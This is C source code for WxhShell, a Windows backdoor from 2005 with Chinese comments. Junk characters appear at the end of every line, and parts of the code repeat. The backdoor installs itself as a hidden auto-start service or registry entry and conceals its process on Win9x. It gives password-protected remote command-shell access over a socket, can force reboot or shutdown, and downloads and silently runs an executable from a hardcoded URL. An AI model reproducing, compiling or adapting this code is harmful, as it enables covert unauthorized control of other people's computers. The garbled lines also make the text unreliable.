    else { fj,]dQ T  
    closesocket(wsh); <z+b88D  
    ExitThread(0); 8ta`sNy9  
    } sKU?"|G81G  
    break; ,*}5xpX  
    } $k= 5nJ  
  // 关机 SF#Rc>v  
  case 'd': { K,o@~fj  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'CkN  
    if(Boot(SHUTDOWN)) 28rC>*+z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |DZ3=eWZ  
    else { 3$hbb6N%6.  
    closesocket(wsh); k=o>DaEh(  
    ExitThread(0); SFdSA4D"  
    } nL[ zXl  
    break; W<"{d  
    } yxpDQ O~x  
  // 获取shell RX DPT  
  case 's': { fvUD'sx  
    CmdShell(wsh); C"=^ (HU  
    closesocket(wsh); HvSYE[Zt|  
    ExitThread(0); *[MK{m  
    break; !o k6*m  
  } Gd08RW  
  // 退出 m=7Z8@sX},  
  case 'x': { *w[\(d'T  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); J|D$  
    CloseIt(wsh); ZKT~\l  
    break; yavoGk  
    } 5?()o}VjAO  
  // 离开 3-T}8VsiP  
  case 'q': { 9*lkx#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5_}e?T&s  
    closesocket(wsh); !Ui"<0[,  
    WSACleanup(); %j*i=  
    exit(1); :?}U Z#  
    break; l*+5WrOS  
        } _P]!J~$5  
  } ZJ7<!?6  
  } xQetAYP`  
ggR--`D[  
  // 提示信息 .{@aQwN  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0/F/U=Z!  
} Qn*a#]p  
  }  p@se 5~  
ra'h\m  
  return; m<cvx3e  
} I )LO@  
mm5y'=#  
// shell模块句柄 3nJd0E  
int CmdShell(SOCKET sock) U =G^w L  
{ H"g$qSx  
STARTUPINFO si; +-B`Fya  
ZeroMemory(&si,sizeof(si)); nvdo|5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A,2dK}\>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {#c* *' 4  
PROCESS_INFORMATION ProcessInfo; (DW[#2\.  
char cmdline[]="cmd"; ZSu0e%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xq2 ,S  
  return 0; ca!=D $  
} v\UwL-4[  
vj23j[!|  
// 自身启动模式 Q.8)_w  
int StartFromService(void) dK=<%)N  
{ # XD-a  
typedef struct d5x>kO'[l  
{ Du3nK" -g  
  DWORD ExitStatus; N2~q\BqA  
  DWORD PebBaseAddress; /W6r{Et  
  DWORD AffinityMask; b(Ev:  
  DWORD BasePriority; 3/w) mY-o  
  ULONG UniqueProcessId; RNJUA^{  
  ULONG InheritedFromUniqueProcessId; f#W5Nu'*!  
}   PROCESS_BASIC_INFORMATION; DjX*2O  
_H41qKS{Ul  
PROCNTQSIP NtQueryInformationProcess; 8>}^W  
s] X]jfA.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0uf'6<fR  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *vss  
mu(EmAoenQ  
  HANDLE             hProcess; 2eOde(K+  
  PROCESS_BASIC_INFORMATION pbi; zgdOugmmt_  
{Y%X  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Z{|U!tn  
  if(NULL == hInst ) return 0; XU}|Ud562  
`Xbk2KD p  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $:YJ<HvG<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .Fy f4^0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); qQ_o>+3VAy  
?d -$lI  
  if (!NtQueryInformationProcess) return 0; dtdz!'q)Y  
|^ao,3h#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .i7bI2^  
  if(!hProcess) return 0; "z^&>#F  
 !lf:x  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5 E%dF9q  
|Ki\Q3O1  
  CloseHandle(hProcess); IkU:D"n7  
}wJDHgt]-p  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); SX{6L(  
if(hProcess==NULL) return 0; 8qEK6-  
% mhnd):  
HMODULE hMod; NY5?T0/[  
char procName[255]; #l(cBM9sz  
unsigned long cbNeeded; r2EIhaGF;  
E! i:h62  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !zw)! rV=  
I\6u(;@  
  CloseHandle(hProcess); 0.^9)v*i  
WCbv5)uTUs  
if(strstr(procName,"services")) return 1; // 以服务启动 !KUV ,>L  
Di3<fp#w#  
  return 0; // 注册表启动 4No!`O-!&  
} FZM9aA  
GHMoT  
// 主模块 "G8w}n:y  
int StartWxhshell(LPSTR lpCmdLine) v@43 %`"Gj  
{ tNskB`541  
  SOCKET wsl; ? U:LAub  
BOOL val=TRUE; }Om+,!_d  
  int port=0; TB]B l.  
  struct sockaddr_in door; r$~w3yN)v  
x}.Q9L  
  if(wscfg.ws_autoins) Install(); s^nwF>  
GRanR'xG  
port=atoi(lpCmdLine); J^@0Ff;=5^  
EV:y}  
if(port<=0) port=wscfg.ws_port; U20G{%%  
$lj1924?^  
  WSADATA data; u3 mTsq!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3f`+ -&|M  
UGy~Ecv  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   vG'JMzAm  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g+ik`q(ge  
  door.sin_family = AF_INET; v'C`;I  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !O=J8;oLk  
  door.sin_port = htons(port); Wmp,,H  
FDB^JH9d  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { nj*B-M\p  
closesocket(wsl); H1PW/AW  
return 1; Z6}B}5@y  
} $Nr :YI  
{*8'bNJ  
  if(listen(wsl,2) == INVALID_SOCKET) { ! K~PH  
closesocket(wsl); "YlN_ U  
return 1; =OIx G}*  
} 7XE/bhe%S  
  Wxhshell(wsl); "}i\" x;s  
  WSACleanup(); 8J:6uO c|  
':71;^zXf  
return 0; "WTnC0<  
*/Oq$3QGsV  
}  Efsfuv  
w0x%7mg@  
// 以NT服务方式启动 {89F*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R{~Yh.)~  
{ T!uK _  
DWORD   status = 0; #c5 NFU}9  
  DWORD   specificError = 0xfffffff; klG]PUzd  
3S-nsMs.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; k`W.tMo  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }LNpr  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #msXAy$N3r  
  serviceStatus.dwWin32ExitCode     = 0; f i-E_  
  serviceStatus.dwServiceSpecificExitCode = 0; 7E$ e1=  
  serviceStatus.dwCheckPoint       = 0; !2WRxM  
  serviceStatus.dwWaitHint       = 0; ~_P,z?  
.~0A*a  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (( 0%>HJ{~  
  if (hServiceStatusHandle==0) return; ;T!mNKl  
%+iJpRK)7  
status = GetLastError(); sgDlT=c'  
  if (status!=NO_ERROR) )TxAhaz+  
{ #/  1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5taYm'  
    serviceStatus.dwCheckPoint       = 0; pHlw&8(f"  
    serviceStatus.dwWaitHint       = 0; e2Sudd=' G  
    serviceStatus.dwWin32ExitCode     = status; Akf?BB3bC  
    serviceStatus.dwServiceSpecificExitCode = specificError; zE +)oQ,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (!Q^.C_m  
    return; q<rB(j-(  
  } Ti }Ljp^O  
bWK}oYB*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; F>,kKR-  
  serviceStatus.dwCheckPoint       = 0; !tGXh9g  
  serviceStatus.dwWaitHint       = 0; f)\ =LV  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); zq g4@" p  
} w%Tcx^:  
Wyf+xr'Ky  
// 处理NT服务事件,比如:启动、停止 h_4o4#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) n83,MV?-  
{ }E+}\&  
switch(fdwControl) >ZKE  
{ yz!j9pJ  
case SERVICE_CONTROL_STOP: IiV:bHUE}0  
  serviceStatus.dwWin32ExitCode = 0; p%_#"dkC7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; s5>=!yX  
  serviceStatus.dwCheckPoint   = 0; `d, hP"jBc  
  serviceStatus.dwWaitHint     = 0; -"iGcVV  
  { 5QU7!jb I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R=~+-^O!  
  } wn[q?|1  
  return; k/W$)b:Of`  
case SERVICE_CONTROL_PAUSE: zFh JLH*C  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; lL~T@+J~  
  break; 0t<]Uf  
case SERVICE_CONTROL_CONTINUE: 7vRJQe)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; xt@zP)6G  
  break; RQ# gn  
case SERVICE_CONTROL_INTERROGATE: +rbj%v}Fh  
  break; K'~wlO@O  
}; _>B0q|]j4'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2-i>ymoOS  
} b(dIl)Y4 :  
uYAPGs#k  
// 标准应用程序主函数 O:3pp8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) a?CV;9   
{ 2xH9O{  
Ob2H7 !  
// 获取操作系统版本 Af5O;v\  
OsIsNt=GetOsVer(); pPm[<^\#S  
GetModuleFileName(NULL,ExeFile,MAX_PATH); E_]L8UC;m  
/w{DyHT  
  // 从命令行安装 #r; ' AG  
  if(strpbrk(lpCmdLine,"iI")) Install(); .w^M?}dx  
/u{ 9UR[g  
  // 下载执行文件  L3P_  
if(wscfg.ws_downexe) { A.m#wY8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .4A4\-Cqe  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ub%+8 M  
} XX",&cp02V  
Wq8Uq}~_g  
if(!OsIsNt) { 7f_4qb8  
// 如果时win9x,隐藏进程并且设置为注册表启动 <#JJS}TLk  
HideProc(); DoAK]zyJA  
StartWxhshell(lpCmdLine); e!b?SmNN  
} /|Za[  
else *yOpMxE  
  if(StartFromService()) A@#9X'C$^  
  // 以服务方式启动 O.CRF-` t  
  StartServiceCtrlDispatcher(DispatchTable); 2>0[^ .;"  
else j8 nG Gx  
  // 普通方式启动 )nyud$9w'  
  StartWxhshell(lpCmdLine); $A)i}M;uK  
%>}6>nT#  
return 0; $}r*WZ  
} g PogV(V  
~hPp)- A  
9*2A}dH  
.Y[sQO~%  
=========================================== 0l!%}E  
z-K?Ak B1  
(Y\aV+9[  
"TA r\; [  
6W."h PP  
I{AteL  
" &=5  
#\*ODMk$4|  
#include <stdio.h> w<-8cvNhiz  
#include <string.h> *_}|EuY  
#include <windows.h> 8;/`uB:zV  
#include <winsock2.h> )h&s.k  
#include <winsvc.h> bvzeU n  
#include <urlmon.h> x;89lHy@e  
o&)O&bNJ  
#pragma comment (lib, "Ws2_32.lib") {;]:}nA  
#pragma comment (lib, "urlmon.lib") Q[`J=  
c%w@-n`  
#define MAX_USER   100 // 最大客户端连接数 DesvnV'{`  
#define BUF_SOCK   200 // sock buffer %m1k^  
#define KEY_BUFF   255 // 输入 buffer c%c/mata?  
1[o] u:m9U  
#define REBOOT     0   // 重启 ?#ue:O1  
#define SHUTDOWN   1   // 关机 +lmMBjDa  
u}hQF $a"  
#define DEF_PORT   5000 // 监听端口 '$*d:1  
1BUdl=o>S  
#define REG_LEN     16   // 注册表键长度 |rkj$s,  
#define SVC_LEN     80   // NT服务名长度 iJuh1+6:c9  
EU.vw0}u8  
// 从dll定义API qN}kDT  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~>zml1aJ6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); G^]T  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2f ]CnD0$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); tmiRv.Mhn<  
"I?sz)pxG  
// wxhshell配置信息 1XQJ#J1/  
struct WSCFG { ]8KAat~J  
  int ws_port;         // 监听端口 x nWCio>M  
  char ws_passstr[REG_LEN]; // 口令 Xm&L@2V  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~fB}v  
  char ws_regname[REG_LEN]; // 注册表键名 _,(]T&j #2  
  char ws_svcname[REG_LEN]; // 服务名 3UgusH3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 epp ;~(xr  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 w-\U;&8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3 G/#OJ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no DG}YQr.L  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" JCZ"#8M3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =A&x d"  
/WXy!W30<  
}; 5"xZ'M~=  
" ,&#9  
// default Wxhshell configuration 4a]m=]Hm  
struct WSCFG wscfg={DEF_PORT, 4&;.>{ :;  
    "xuhuanlingzhe", B8-v!4b0`  
    1, GCCmUR9d  
    "Wxhshell", w_|R.T\7  
    "Wxhshell", 2P`QS@v0a=  
            "WxhShell Service", =\.Oc+p4  
    "Wrsky Windows CmdShell Service", %:oyHlz%  
    "Please Input Your Password: ", D"_~Njf  
  1, I9P< !#q>  
  "http://www.wrsky.com/wxhshell.exe", 6r"uDV #0  
  "Wxhshell.exe" r1&b#r>  
    }; -]c5**O}  
}r^@Xh  
// 消息定义模块 YgiwtZ5FY  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; o.U$\9MNP  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4} uX[~e&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; cY?< W/  
char *msg_ws_ext="\n\rExit."; $by-?z((  
char *msg_ws_end="\n\rQuit.";  ^! /7  
char *msg_ws_boot="\n\rReboot..."; /'?Fz*b  
char *msg_ws_poff="\n\rShutdown..."; 6+"P$Ed#i  
char *msg_ws_down="\n\rSave to "; -G&>b D  
+RS>#zd/=  
char *msg_ws_err="\n\rErr!"; Q >[*Y/`I  
char *msg_ws_ok="\n\rOK!"; i>6SY83B}  
e:}8|e~T  
char ExeFile[MAX_PATH]; Q#P=t83  
int nUser = 0; qR0V\OtgY~  
HANDLE handles[MAX_USER]; -C.x;@!k  
int OsIsNt; 3?I^D /K^  
x' *,~u  
SERVICE_STATUS       serviceStatus; +F q`I2l|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; f2Frb  
SvC|"-[mJ  
// 函数声明 F_;oZ   
int Install(void); q+2yp&zF  
int Uninstall(void); NfcY30}:  
int DownloadFile(char *sURL, SOCKET wsh); 7><ne|%  
int Boot(int flag);  b<v\  
void HideProc(void); ) ?rJKr[`  
int GetOsVer(void); Ao)hb4ex  
int Wxhshell(SOCKET wsl); 1L1_x'tT%  
void TalkWithClient(void *cs); FrD.{(/~  
int CmdShell(SOCKET sock); p%e! &:!  
int StartFromService(void); RP'`\| |*  
int StartWxhshell(LPSTR lpCmdLine); u%?u`n2'  
KpBh@S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8;9GM^L  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); n's3!HQY[  
b9%}< w  
// 数据结构和表定义 Pm; /Ua  
SERVICE_TABLE_ENTRY DispatchTable[] = 5(bG  
{ ,GEMc a,`  
{wscfg.ws_svcname, NTServiceMain}, Ti`<,TA54  
{NULL, NULL} 3N6U6.Tqb  
}; 7?j$Lwt  
BX$t |t;!m  
// 自我安装 Y W_E,A>h  
int Install(void) <$Q\vCR  
{ M>J8J*  
  char svExeFile[MAX_PATH]; Ge$cV}  
  HKEY key; ;AKtb S;H  
  strcpy(svExeFile,ExeFile); B[7|]"L@  
,}F2l|x_  
// 如果是win9x系统,修改注册表设为自启动 *FDz20S  
if(!OsIsNt) { QxvxeK!Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T.="a2iS2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VaZ+TE  
  RegCloseKey(key); lM Gz"cym  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J411bIxD+q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o+{}O_r  
  RegCloseKey(key); ?cdSZ'49[  
  return 0; ep<Ad  
    } vai.",b=n6  
  } 7t` <`BY^  
} Us.yKAHPV  
else { `Yp\.K z  
ERQ a,h/  
// 如果是NT以上系统,安装为系统服务 D4'"GaCv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); E (tdL,m'  
if (schSCManager!=0) g(<02t!OT=  
{ m3XL;1y:a  
  SC_HANDLE schService = CreateService x^_Wfkch]  
  ( 9oS\{[x.  
  schSCManager, \@nmM&7C!4  
  wscfg.ws_svcname, =:`1!W0I  
  wscfg.ws_svcdisp, T_Q/KhLU  
  SERVICE_ALL_ACCESS, 3 2Q/4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =N01!?{  
  SERVICE_AUTO_START, ~!~VC)a*  
  SERVICE_ERROR_NORMAL,  A$ %5l  
  svExeFile, G;615p1  
  NULL, 8 W8ahG}  
  NULL, 6HpSZa  
  NULL, I^/Ugu  
  NULL, Gdnk1_D>  
  NULL ;5#P?   
  ); hZI9*= `,"  
  if (schService!=0) =wK3\rG  
  { R0+v5E  
  CloseServiceHandle(schService); !Jb?r SJ.h  
  CloseServiceHandle(schSCManager); 4?M= ?K0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); O; EI&  
  strcat(svExeFile,wscfg.ws_svcname); 94I8~Jj4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { //KTEAYyy#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !.iu_xJ  
  RegCloseKey(key); H7G*Vg  
  return 0; _6THyj$f  
    } K2nq2Gbn  
  } 1iaNb[:QX  
  CloseServiceHandle(schSCManager); N J:]jd  
} k#`.!yI,  
} O]w&uim  
(rFY8oHD  
return 1; CU6rw+Vax  
} 2N)=fBF%-  
%Z&[wU~  
// 自我卸载 k<=.1cFh  
int Uninstall(void) :BCjt@K}  
{ 7^Uv1ezDR  
  HKEY key; R+lKQAyC0=  
hU5[k/ q  
if(!OsIsNt) { V'pNo&O=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iKV;>gF,)v  
  RegDeleteValue(key,wscfg.ws_regname); .{HU1/!  
  RegCloseKey(key); -"Lia!Q]M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n?@3R#4D3  
  RegDeleteValue(key,wscfg.ws_regname); *rp@`W5  
  RegCloseKey(key); wQb")3dw  
  return 0; 2tC ep  
  } S4s\tA<  
} EiI3$y3;  
} ,!kqEIp%  
else { nlH H}K  
jnt0,y A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); N<Rb<p%  
if (schSCManager!=0) /4 RKA!W  
{ n5 @H  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); s \#kqw\x  
  if (schService!=0) 2uS&A \   
  { ujB:G0'r  
  if(DeleteService(schService)!=0) { -`]B4Nt6  
  CloseServiceHandle(schService); ]jG%<j9A  
  CloseServiceHandle(schSCManager); o; 6\  
  return 0; Po&gr@e.V  
  } $J[h(>-X  
  CloseServiceHandle(schService); &of%;>$>M  
  } Mp?Ev.  
  CloseServiceHandle(schSCManager); m^U\l9LE  
} t?28s/?  
} 9/D+6hJ]:  
go6Hb>  
return 1; y&lj+j  
} ,f$A5RN  
tNbCO+rZ  
// 从指定url下载文件 f|?i6.N> f  
int DownloadFile(char *sURL, SOCKET wsh) V;=SncUb  
{ RK/SeS  
  HRESULT hr; ma~WJ0LM\  
char seps[]= "/"; =/.[&DG  
char *token; LH]nJdq?)  
char *file; g-oHu8   
char myURL[MAX_PATH]; #PoUCRRC  
char myFILE[MAX_PATH]; `*9W{|~Gwx  
N-3w)23*:  
strcpy(myURL,sURL); '68{dyFZL  
  token=strtok(myURL,seps); 7R<<}dA]  
  while(token!=NULL) |=l;UqB  
  { >T.U\,om7  
    file=token; e.\d7_T+  
  token=strtok(NULL,seps); H h$D:ZO  
  } fcr\XCG7U  
{qx}f^WV  
GetCurrentDirectory(MAX_PATH,myFILE); +q) ^pCC  
strcat(myFILE, "\\"); (BMFGyE3  
strcat(myFILE, file); 3?Bq((  
  send(wsh,myFILE,strlen(myFILE),0); vwZ2kk!|i  
send(wsh,"...",3,0); qB3 SQ:y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [>;U1Wt  
  if(hr==S_OK) RNcHU  
return 0; tLS5yT/  
else L2P~moVIi  
return 1; ED[PP2[/  
pb$U~TvzhM  
} s=~r. x  
r@"Vbq%  
// 系统电源模块 _R]la&^2F\  
int Boot(int flag) rxIfatp^  
{ *7nlel  
  HANDLE hToken; <bXfjj6YJ@  
  TOKEN_PRIVILEGES tkp; "1&C\}.7  
#]:yCiA  
  if(OsIsNt) { U|u v SJ)X  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); fseHuL=~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); G~8C7$0z  
    tkp.PrivilegeCount = 1; ~7 C` a$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; fph*|T&R  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); vov"60K  
if(flag==REBOOT) { -2K`:}\y&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9w}A7('  
  return 0; 8D)*~C'85E  
} -HP [IJP  
else { $?(fiFC  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ss236&  
  return 0; Uj0DX >I  
} 9FX'Uws  
  } 4ZQX YwfC|  
  else { /tJJ2 =%l  
if(flag==REBOOT) { Ca*^U-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #`<|W5  
  return 0; QlSZr[^v  
} 9W 5vp:G  
else { E{_p&FF  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G7M:LcX  
  return 0; u(\b1h n  
} #8%Lc3n  
} '?v.O}  
^B1Q";# B^  
return 1; +*DXzVC  
} .B"h6WMz  
]. IUQ*4t  
// win9x进程隐藏模块 (VWTYG7  
void HideProc(void) U:#9!J?41  
{ mUm9[X~'  
^WVH z;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (4>k+ H  
  if ( hKernel != NULL ) j Bl I^  
  { +g/y)]AP  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !HY+6!hk  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1$q SbQ  
    FreeLibrary(hKernel); {E@Vh  
  } `V$i*{c:#  
FlrLXTx0  
return; Yr ,e7da  
} g&\A1H  
zo7Hm]W`  
// 获取操作系统版本 rts@1JY[  
int GetOsVer(void) s0E:hn:  
{ {&4+W=0 n  
  OSVERSIONINFO winfo; R% l=NHB}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); = = cAL"Z  
  GetVersionEx(&winfo); A>bo Xcr  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2Af1-z^^K  
  return 1; wg<DV!GZ  
  else H`9E_[  
  return 0; Wepa;  
} E/Q[J.$o  
mKvk6OC  
// 客户端句柄模块 -Z-|49I/mN  
int Wxhshell(SOCKET wsl) a^@6hC>sr  
{ MkRRBvk  
  SOCKET wsh; u1~H1 ]Ii  
  struct sockaddr_in client; ss-{l+Z5  
  DWORD myID; "/S-+Ufn  
2pQ zT  
  while(nUser<MAX_USER) (caxl^=  
{ 6*lTur9ni  
  int nSize=sizeof(client); lN<vu#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); TXv3@/>ZlG  
  if(wsh==INVALID_SOCKET) return 1; E"b+Q  
0%<Fc9#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^}a..@|%W  
if(handles[nUser]==0) jri=UGf  
  closesocket(wsh); gH,^XZe  
else P@`@?kMU  
  nUser++; kbN2dL  
  } Ev,>_1#Xm  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^r?ZrbSbz  
}Cvf[H1+  
  return 0; 7ykpDl^@  
} Z_zN:BJ8L  
==RYf*d  
// 关闭 socket ~dkS-6q~Q  
void CloseIt(SOCKET wsh) Z]@my,+Z;  
{ ey_3ah3x  
closesocket(wsh); ,ZHIXylZ  
nUser--; QgqR93Ic  
ExitThread(0); dAh&Z:86\  
} eBFsKOtu  
%|*tL7  
// 客户端请求句柄 H!y1&  
void TalkWithClient(void *cs) _rdEur C6  
{ FMc$?mm  
I% ivY  
  SOCKET wsh=(SOCKET)cs; mp*&{[XoVC  
  char pwd[SVC_LEN]; hbl:~O&a/  
  char cmd[KEY_BUFF]; H{x'I@+  
char chr[1]; % r`hW \4{  
int i,j;  TTZb.  
C*a>B,H  
  while (nUser < MAX_USER) { <'>c`80@\*  
v,I4ozDx  
if(wscfg.ws_passstr) { ve49m%NQ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bJ4})P&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *P7 H=Yf&  
  //ZeroMemory(pwd,KEY_BUFF); h64<F3}  
      i=0; -y|>#`T/  
  while(i<SVC_LEN) { )"/.2S;  
v-B{7 ~=#Z  
  // 设置超时 mSm:>hBd  
  fd_set FdRead; U>H"N1  
  struct timeval TimeOut; r7+"i9  
  FD_ZERO(&FdRead); F0t-b%w,  
  FD_SET(wsh,&FdRead); I<L  
  TimeOut.tv_sec=8; WWhAm{m  
  TimeOut.tv_usec=0; fd! bs*\X  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); e{EKM4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); w j !YYBH  
[3lAKI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `d2 r5*<  
  pwd=chr[0]; %CV@FdB  
  if(chr[0]==0xd || chr[0]==0xa) { 4 3V {q  
  pwd=0; & Xm !i(i  
  break; <'N"GLJ  
  } mE=%+:o.  
  i++; Y)H~*-vGu  
    } H(Pzo+k*  
_JNSl2  
  // 如果是非法用户,关闭 socket s;e%*4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); w%~UuJ#i  
} JN)@bP  
`yJ3"{uO  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); iY?J3nxD-:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f@yInIzRJ  
WVyk?SBw  
while(1) { VUnO&zV{  
_^w&k{T  
  ZeroMemory(cmd,KEY_BUFF); {P')$f)  
*lyy|3z  
      // 自动支持客户端 telnet标准   GB,f'Afl  
  j=0; xs,,)jF(u  
  while(j<KEY_BUFF) { CoZOKRoaH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o]/*YaB2>  
  cmd[j]=chr[0]; >n$V1U&/  
  if(chr[0]==0xa || chr[0]==0xd) { VJbsM1y M  
  cmd[j]=0; NH9"89]E  
  break; 3MX&%_wUhB  
  } n x4:n@J  
  j++; {6Y|Z>  
    } 0OCmyy  
PtsQV!  
  // 下载文件 RGEgYOO  
  if(strstr(cmd,"http://")) { 7}#zF]vHNi  
